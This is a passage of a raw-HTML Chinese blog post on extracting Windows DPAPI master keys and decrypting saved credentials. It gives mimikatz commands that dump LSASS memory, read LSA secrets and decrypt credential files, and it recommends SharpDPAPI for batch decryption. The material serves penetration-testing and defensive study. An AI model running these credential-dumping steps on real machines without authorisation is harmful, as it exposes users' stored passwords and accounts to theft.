border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">ps: 这些相关文件都被作为系统文件隐藏起来了，所以需要修改文件夹选项显示这些文件<br style="box-sizing: border-box;"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.3595505617977528" data-s="300,640" style="" data-type="png" data-w="445" src="https://wechat2rss.xlab.app/img-proxy/?k=6d98a550&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzHjVTdKVmNibTFYeGNPjACibLmCXYNIYAQz3gNKRF719OkNjCnmpYjgcQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">获取Master Key</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">这里列举几个常见的手段（非域环境）：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">用户身份凭证（或者历史用户身份凭证）</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">DPAPI<span style="box-sizing: border-box;">SYSTEM（DPAPI</span>SYSTEM作为 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;font-size: 14px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;">Master</span><span class="pln" style="box-sizing: border-box;font-size: 14px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;"></span><span class="typ" style="box-sizing: border-box;font-size: 14px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;">Key</span></code>本地备份文件的密钥存放于LSA secret中，想要获取的话也就老办法，dump内存或者注册表即可）</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">Dump Lsass</span></span></p></li></ul><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 14px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">用户身份凭证</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">使用mimikatz的dpapi模块中的masterkey方法，指定目标用户 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">master key file</span></code>。在无凭证传入的情况下，仅仅只是解析了结构体。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.571875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=72810e85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzZZwshQpIC9QsVzLsAe9V0q3VdCH2cNZlW3GibWpD88PMHxhg8icrknAg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">带入参数 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">hash</span></code>或者 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">password</span></code> 输入密码，即可获取到masterkey。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 14px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">DPAPI_SYSTEM</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">使用lsadump::secrets命令获取DPAPI_SYSTEM<br style="box-sizing: border-box;"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.1205733558178752" data-s="300,640" style="" data-type="png" data-w="1186" src="https://wechat2rss.xlab.app/img-proxy/?k=24bf7aa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzyx5gbkUprMQxgibcOMnj7p0prRfZj3eE0Oxic3kEkIfT0blMQbmgRhiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">使用mimikatz的dpapi模块中的masterkey方法，指定系统 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">master key file</span></code>。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.49921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4cc64a9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzT724U7dNCLHXiaQvNzgyCFic8L3YFImUg3SDsRbetBLicnOQhzEnvpZBQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">获取到key。<br/></p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 14px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Dump Lsass</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">privilege::debug提升到debug权限。<br style="box-sizing: border-box;"/>sekurlsa::dpapi获取内存中的所有MasterKey<br style="box-sizing: border-box;"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.49921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b3d1244a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzWpjicmPy9eKsRwJLj84W6NoQUlrtpJ3jjGndLWcGQmDEL3Wyibced8vA%2F640%3Fwx_fmt%3Dpng"/></p><blockquote style="box-sizing: border-box;margin-bottom: 1.2em;padding: 15px 15px 15px 1rem;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(96, 125, 139);font-size: 14px;line-height: 18px;background: rgb(242, 247, 251);font-family: Helvetica, Arial, sans-serif;text-align: start;white-space: normal;"><p style="box-sizing: border-box;">tips<br style="box-sizing: border-box;"/>可以用dpapi::cache查看此前获取到的所有MasterKey。</p></blockquote><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">可以看到，系统中存在这么多个Master key，那如何判断目标文件需要使用哪个key呢？</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 14px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">使用MasterKey解密</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">有关部分DPAPI可以解密的数据存储地址，本杰明整理了一份列表（列表失效了，但是能图中看到）：<br style="box-sizing: border-box;"/><a href="https://twitter.com/gentilkiwi/status/696021888385028096" target="_blank">https://twitter.com/gentilkiwi/status/696021888385028096</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">这里使用Cred举例，其目录位于 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">%</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">APPDATA</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">%</span><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/Microsoft/</span><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Credentials</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span></code><br style="box-sizing: border-box;"/><img class="" data-ratio="0.35941043083900226" style="box-sizing: border-box;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="882" src="https://wechat2rss.xlab.app/img-proxy/?k=6f86fdc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzqadBibV9K53efByzsUguT56qCd6rwVvLePia8F7HULZbEM3nbaS1ywBA%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>使用dpapi::cred命令指定in参数：<br style="box-sizing: border-box;"/><code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">dpapi</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">::</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">cred</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="kwd" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">in</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">:</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">C</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">:</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">\Users\1</span><span class="lit" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">1632</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">\AppData\Local\Microsoft\Credentials\3</span><span class="lit" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">151F79BA320A9E261AA218C58BED0A7</span></code><br style="box-sizing: border-box;"/>默认情况下会打印出其结构体信息<br style="box-sizing: border-box;"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.27734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a0fef9be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzNO2a6rT6HKE3SiaziafTqepar741pHffyZ48iaIlM03ezLKmQoMu0npBQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">可以看到有一行参数guidMasterKey：{dfe23673-86ee-420c-bcab-714a83f495d6}。而 {dfe23673-86ee-420c-bcab-714a83f495d6} 就是指向MasterKey的索引，其实也就是文件名：</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.24" data-s="300,640" style="" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=d59aa534&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzKO5cJd7lqjD2dleDeMRpcL2xX9lzA2JBn1AicpqJCF0Eo22B3FqlDFw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">这样我们就可以找到文件所对应的Master key，并且解开密文了。<br style="box-sizing: border-box;"/>如果此前你已经使用之前介绍的几种方法找到了Master key，mimikatz会将其放入cache中，这样如果目标文件所对应的Master key在此前已经获取过，mimikatz会自动带入参数。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.52890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d09567f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzSJsUeC4dickiaDbXz9CGojsJFBJkTy1ibXHdvnOTl4TxZhSqsaZ4kibqrA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;"><span style="color: rgb(248, 95, 72);font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace;font-size: 14px;font-weight: 700;">自动化利用</span></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">前面已经非常简单的介绍过相关的利用手段了，但是还是不够方便，还是需要人工手动的去解密。<br style="box-sizing: border-box;"/>这里推荐一个项目 <a href="https://github.com/GhostPack/SharpDPAPI" target="_blank">https://github.com/GhostPack/SharpDPAPI</a> ，程序功能出来与mimikatz没有太大区别，方便的是CNA脚本中，通过正则匹配Mimikatz导出的masterkey，然后批量的去解密credentials|vaults|RDP Cred文件。<br style="box-sizing: border-box;"/>使用流程，编译项目后，修改CNA脚本中的$SharpDPAPI::AssemblyPath为SharpDPAPI.exe的绝对路径。</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(0, 0, 0);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Use</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> sharpDPAPI </span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[-</span><span class="kwd" style="box-sizing: border-box;color: rgb(177, 214, 49);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dump</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[-</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">allkeys</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Arguments</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="kwd" style="box-sizing: border-box;color: rgb(177, 214, 49);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dump</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Use</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> mimikatz to </span><span class="kwd" style="box-sizing: border-box;color: rgb(177, 214, 49);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dump</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> DPAPI keys </span><span class="kwd" style="box-sizing: border-box;color: rgb(177, 214, 49);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">from</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> lsass </span><span class="kwd" style="box-sizing: border-box;color: rgb(177, 214, 49);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">using</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Mimikatz</span><span class="str" style="box-sizing: border-box;color: rgb(177, 214, 49);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;s sekurlsa::dpapi</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(177, 214, 49);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    -allkeys     Use all DPAPI keys found in the credential store (not just the DPAPI keys found on this host)</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">初次使用就直接使用 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">sharpDPAPI</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="kwd" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">dump</span></code>，其命令流为：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(0, 0, 0);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sekurlsa</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">::</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dpapi</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: 